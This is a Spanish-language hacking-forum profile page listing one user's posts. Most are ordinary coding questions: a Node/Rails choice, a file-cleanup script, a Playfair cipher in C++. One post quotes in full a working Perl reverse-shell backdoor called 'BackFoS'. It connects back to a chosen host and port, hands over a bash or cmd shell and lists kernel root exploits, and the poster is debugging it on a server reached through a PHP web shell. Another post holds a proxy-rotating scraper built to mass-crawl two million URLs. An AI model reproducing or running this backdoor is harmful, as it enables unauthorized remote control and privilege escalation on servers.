Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - deni_celine

#1
Hola, quería pedirles ayuda para tomar la mejor decisión para montar un sitio. Lo que necesito saber es que lenguaje me convendría utilizar en back end para montar una api restfull, yo en lo personal había pensado en trabajar con node por que lo conozco y puedo montarlo en heroku, pero me han recomendado usar rails, no sé, que opinan ustedes sería lo mejor para un sitio escalable y que permita alta demanda,
PD: el front end está desarrollado con angular :D
#2
Hola,

os queria preguntar si tienen una idea para poder obtener el contenido de unas páginas web de manera automática, más rápidamente..
corrí mi código y al verlo al día se quedo pegado luego de visitar 9000 páginas aprox... El problema es que tengo que obtener el resultado de un par de  millones de sitios
Estoy usando la librería openurl , dentro de un for.... dejo la parte del código ojalá me puedan ayudar :')

Código: python

candidate_proxies = [#un array de proxys]

fichero = open(archivo_resultado,"a")
for i in range(2000000):
website = "http://asfsagasf.pe?id="+i
print " > Procesando ["+i+"]"

for proxy in candidate_proxies:
print "Trying HTTP proxy %s" % proxy
try:
f = urlopen(website,proxies={'http': proxy}).read()
break
except:
print "Trying next proxy ..."

try:
datos = re.search( "<meta name=\"Keywords\".*?content=\"([^\"]*)\"", f ).group(1)
except:
print " > Error intentando leer de la pagina "+i
datos = "Error en "+i
#continue


try:
fichero.write(datos+"\n")
except:
print " > Error intentando escribir el archivo ["+i+"]"
#continue


#3
Python / Archivos sin uso en un proyecto
Marzo 06, 2014, 05:36:07 PM
Suponiendo que estamos en un proyecto web, y ahi muchso archivos que no utilizamos (imagenes, flash, etc) .. y nos da "flojera" ir haciendo una busqueda una por una para ver si se esta utilizando en alguna parte o no, puedes hacer un script que te simplifique la vida, o simplemente pq quieres hacer un script xD solo genere un listado para ver cuales son los archivos que no estaban mencionados en los fuentes, pero tomando esta idea podrías borrarlas o mejor aún moverlas a otro directorio de respaldo
aqui os dejo por si a alguien le sirve o quiere aportar  ;)

Código: python

import os,datetime,shutil
dir_explorar = "/var/www/mysitio"
#Crea lista de imagenes
print "Creando listado de imagenes..."
img = []
p_img = []
for root, dirs, files in os.walk(dir_explorar):
for f in files:
ext = f.split(".")[-1]
if  ext in ("jpg","gif","png","swf","jpeg","pdf"):
img.append(f)
p_img.append(os.path.join(root,f))

#Recorrer directorio para buscar las imagenes
print "Buscando en los archivos..."
en_uso = []

for root, dirs, files in os.walk(dir_explorar):
for f in files:
f = os.path.join(root,f)
ext = f.split(".")[-1]
if  ext in ("php","tpl","js","css"):
#print "-buscando en",f
with open(f,"r") as file:
texto2 = file.read()
cont = 0
for i in img:
if (texto2.find(i) > 0):
en_uso.append(p_img[cont])
cont = cont+1

#Obtneer img en deshuso desde las img en uso e_e
print "Generando listado de archivos en deshuso..."
sin_uso = [a for a in p_img if a not in en_uso]
"""
file=open('resultado.log','a')
file.write('Resultado\n')
file.write('------------\n')
file.write('\n'.join(sin_uso))
file.close()
print "Busqueda Finalizada, se ha generado resultado.log"
"""
ruta = "respaldo_"+datetime.datetime.now().strftime("%Y%m%d_%p%I%M")
print "Moviendo los archivos en deshuso..."
if not os.path.isdir(ruta):
os.mkdir(ruta)
for arc in sin_uso:
shutil.move(arc, os.path.join(ruta,arc.split(os.sep)[-1]))
print "Buscada Finalizada, archivos movidos a", ruta
#4
C / C++ / Playfair
Marzo 04, 2014, 08:34:13 AM
Estaba en esto de querer aprender c plus plus y alguien me recomendo que hiciera este cifrado como ejercicio, dejo el código por si a alguien le sirve o mejor aún si a alguien se le ocurre una forma mejor

El cifrado playfair es ... bueno, es complicado de explicar, ya que va sustituyendo de a pares, usando una matriz de 5 x 5 que es generada por una clave y que contiene las letras del abecedario, salvo una , ya que son 26 letras y 5 x5 = 25, y despues aplica al mensaje un par de reglas para hacer la sustitución... mucho mejor les dejo el link a la wikipedia :D No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y en esta página puedes verlo en funcionamiento No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código: cpp

#include <iostream>
#include <string>
#include <cstring>

using namespace std;

class PlayFair{
  private:
    char matriz[5][5];
  public:
    string cifrado(string, int);
    string descifrar(string);
    int inMatriz(char);
    void limpiaMatriz();
    void setMatriz(string);
    void showMatriz();
};

int main(){
  string clave,msj;
  PlayFair pf;

  cout << "Cifrado PlayFair"<<endl<<endl;
  cout << "introduce la clave > ";
  //getline(cin,clave);
  clave = "playfairexample";
  cout <<endl;

  pf.setMatriz(clave);
  pf.showMatriz();

  cout << endl;
  cout << "introduce el mensaje a cifrar > ";
  getline(cin,msj);

  string cifrado = pf.cifrado(msj,1);
  cout << "Mensaje cifrado : " << cifrado << endl;
  cout << "Msj. descifrado : " << pf.cifrado(cifrado,2) << endl;

}


int PlayFair::inMatriz(char valor){
    for(int i=0;i<5;i++){
      for(int j=0;j<5;j++){
        if(matriz[i][j] == valor){
          return 1;
        }
      }
    }
    return 0;
}

void PlayFair::limpiaMatriz(){
  for(int i=0;i<5;i++){
    for(int j=0;j<5;j++){
      matriz[i][j] = ' ';
    }
  }
}

void PlayFair::setMatriz(string clave){
  PlayFair::limpiaMatriz();
  int i=0;
  int j=0;
  //coloca la clave en la matriz
  for(int a=0;a<clave.size();a++){
    if(PlayFair::inMatriz(clave[a]) == 0)
      matriz[i][j++] = tolower(clave[a]);
    if (j==5){
      j = 0;
      i++;
    }
  }
  char abc[26]={'a','b','c','d','e','f','g','h','i','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};
  //termina llenar la matriz con el abecedario
  for(int a=0;a<26;a++){
    if(PlayFair::inMatriz(abc[a]) == 0)
      matriz[i][j++] = abc[a];
    if (j==5){
      j = 0;
      if(i==5){
        continue;
      }
      i++;
    }
  }
}

/*
Metodo cifrado -> tipo 1: cifrar, tipo 2: desifrar
*/
string PlayFair::cifrado(string msj, int tipo=1){
  string result,msj2;

  //Verifica que el mensaje este en la matriz, si 2 caracteres se repiten pone una 'x' en medio, y pasa a minusculas.
  char ant;
  for(int i=0;i<msj.size();i++){
      for(int x=0;x<5;x++){
        for(int y=0;y<5;y++){
          if(matriz[x][y]==tolower(msj[i])){
            if(msj[i]==ant){
                msj2 += "x";
            }
            msj2 += tolower(msj[i]);
            ant = tolower(msj[i]);
          }
        }
      }
  }
  msj = msj2;
  //Si el largo del mensaje es impar, agrega una 'x' al final.
  if ((msj.size()%2)!=0){
    msj += "x";
  }

  //Recorre el msj
  for(int i=0;i<msj.size();i++){
    int j= i+1;
    int pos_x1 = 0;
    int pos_y1 = 0;
    int pos_x2 = 0;
    int pos_y2 = 0;
    int flag = 0;
    int in_fila = 0;

    // verifica caracteres en horizontal
    for(int x=0;x<5;x++){
      for(int y=0;y<5;y++){
        if(matriz[x][y]== msj[i]){
          pos_x1 = x;
          if(tipo ==1){
              if(y<4){
                pos_y1 = y+1;
              }
              else{
                pos_y1 = 0;
              }
          }
          else{
              if(y>0){
                pos_y1 = y-1;
              }
              else{
                pos_y1 = 4;
              }
          }
          in_fila++;
        }
        if(matriz[x][y]== msj[j]){
          pos_x2 = x;
          if(tipo ==1){
              if(y<4){
                pos_y2 = y+1;
              }
              else{
                pos_y2 = 0;
              }
          }
          else{
              if(y>0){
                pos_y2 = y-1;
              }
              else{
                pos_y2 = 4;
              }
          }
          in_fila++;
        }
      }
      if (in_fila == 2){
        flag = 1;
      }
      in_fila = 0;
    }

    // verifica caracteres en vertical
    if (flag==0){
        for(int y=0;y<5;y++){
          for(int x=0;x<5;x++){
            if(matriz[x][y]== msj[i]){
              pos_y1 = y;
              if(tipo==1){
                if(x<4){
                    pos_x1 = x+1;
                }
                else{
                    pos_x1 = 0;
                }
              }
              else{
                  if(x>0){
                    pos_x1 = x-1;
                  }
                  else{
                    pos_x1 = 4;
                  }
              }
              in_fila++;
            }
            if(matriz[x][y]== msj[j]){
              pos_y2 = y;
              if(tipo==1){
                if(x<4){
                    pos_x2 = x+1;
                }
                else{
                    pos_x2 = 0;
                }
              }
              else{
                  if(x>0){
                    pos_x2 = x-1;
                  }
                  else{
                    pos_x2 = 4;
                  }
              }
              in_fila++;
            }
          }
          if (in_fila == 2){
            flag = 1;
          }
          in_fila = 0;
        }
    }

    //verifica rectangulos
    if (flag==0){
      for(int x=0;x<5;x++){
        for(int y=0;y<5;y++){
          if(matriz[x][y]== msj[i]){
            pos_x1 = x;
            pos_y2 = y;
          }
          if(matriz[x][y]== msj[j]){
            pos_x2 = x;
            pos_y1 = y;
          }
        }
      }

    }

    result += toupper(matriz[pos_x1][pos_y1]);
    result += toupper(matriz[pos_x2][pos_y2]);
    result += " ";

    i++;
  }
  return result;
}


void PlayFair::showMatriz(){
  //muestra la matriz
  for(int i=0;i<5;i++){
    for(int j=0;j<5;j++){
      cout << PlayFair::matriz[i][j];
    }
    cout << endl;
  }
}

#5
Antes que nada, NO se nada sobre este tema... asi que si alguien me puede orientar un poco.. gracias!
Estoy probando un backdoor en perl llamado "BackFoS" que encontre en internet, por lo que entiendo funciona igual que la mayoria, con una conexion inversa por medio de socket, al probarlo desde un pc de preubas con linux funciona perfectamente, pero al correrlo en un servidor mediante una shell en php no me funciona, lo ultimo que imprime es la linea 39. A que se podria deber esto?

Dejo el codigo tal cual lo encontre

Código: perl

#!/usr/bin/perl

########### BackFoS v0.3 - By FoS TeaM - [priv8] ##########
#                                                         #
#     BackFoS is a Backdoor in PERL for  All  Servers     #
#            c0dex by Vengador de las Sombras             #
#                                                         #
#          USAGE: Perl BackFoS.pl <HOST> <PORT> <OS>      #
#     You need have listen nc, cryptcar, putty or other   #
#      program on <PORT> to connect with the backdoor     #
#                                                         #
#=========================================================#
#                                                         #
#  Gr3tz to: Lutscher, WaesWaes, CHR0N05, Keynet, Fr34k,  #       
# Lëssiëm Tárálom, Phonix & ArgeniversoHack & #RE members #
#      Especial Thanx To Plaga, for the help =)           #
#                                                         #
#################### (c)FoS TeaM 2008 #####################

use IO::Socket;

print q(

=================================================
   BackFoS.pl c0dex by FoS TeaM
=================================================
);
$ARGC = @ARGV;
if ($ARGC != 3){
print "\nUsage: BackFoS.pl <HOST> <PORT> <OS>";
exit(0);
}

$host = $ARGV[0];
$port = $ARGV[1];
$OS = $ARGV[2];
use Socket;

print "[+]Connecting to $host ...";
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))
                                                     || die "[-] Cannot Resolve $host";
connect(SOCKET, sockaddr_in($port, inet_aton($host)))
                                                     || die "[-] Cannot Connect to $host";

print "\n[+] Connected!";

open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");

print "\n .::BackFoS v0.3::. - FoS TeaM - [Priv8]\n\n";
if ($OS == "-l"){
$kv = "uname -r";
chomp($kv);
print "Kernel Version: $kv\n\n";
%lista=(
2.4.17=> "newlocal kmod uselib24",
2.4.18=> "brk brk2 newlocal kmod",
2.4.19=> "brk brk2 newlocal kmod",
2.4.20=> "ptrace kmod ptrace-kmod brk brk2",
2.4.21=> "brk brk2 ptrace ptrace-kmod",
2.4.22=> "brk brk2 ptrace ptrace-kmod",
2.4.22-10=> "loginx",
2.4.23=> "mremap_pte",
2.4.24=> "mremap_pte uselib24",
2.4.25-1=> "uselib24",
2.4.27=> "uselib24",
2.6.2=> "mremap_pte krad h00lyshit",
2.6.5=> "krad krad2 h00lyshit",
2.6.6=> "krad krad2 h00lyshit",
2.6.7=> "krad krad2 h00lyshit",
2.6.8=> "krad krad2 h00lyshit",
2.6.8-5=> "krad2  h00lyshit",
2.6.9=> "krad  krad2  h00lyshit",
2.6.9-34=> "r00t h00lyshit",
);

foreach $v (keys %lista) {
if ($kv =~ /$v/){
print "\n RootExploits: $lista{$v}\n";
}
}

$ejecutor = "/bin/bash";
system($ejecutor);
}

if ($OS == "-w"){
$ejecutor = "cmd";
system($ejecutor);
}



#6
Dudas y pedidos generales / Imprimir directamente
Febrero 05, 2014, 03:43:23 PM
Hola gente. alguien sabe cómo puedo imprimir directamente desde un sitio web, para que cuando hago window.print() no abra el diálogo de impresión del sistema operativo. Lamentablemente tiene que ser para IE  :( Tengo la esperanza de que pueda hacerse con una configuración del navegador.

Saludos  :)


#7
Hola, estoy aprendiendo python y usando el módulo mechanize que ya lo conocía de perl y funciona bien... el problema es que necesito obtener el dom de un sitio que ejecuta javascript y Mechanize no me sirve para esto, he estado leyendo y al parecer ahi un módulo que se llama spidermonkey y me serviria para esto, pero no funciona en Windows.... alguna idea?  :-\
#8
Presentaciones y cumpleaños / Un nuevo
Enero 08, 2014, 11:53:26 AM
hace unos dias me registre en el foro para leer algunas cosillas y recien ahora me presento XD hola, soy deni, me gusta la informatica y siento que tengo dmc que aprender, espero poder ayudar en lo que se, php jajja, pero sobretodo aprender de la comunidad  ;)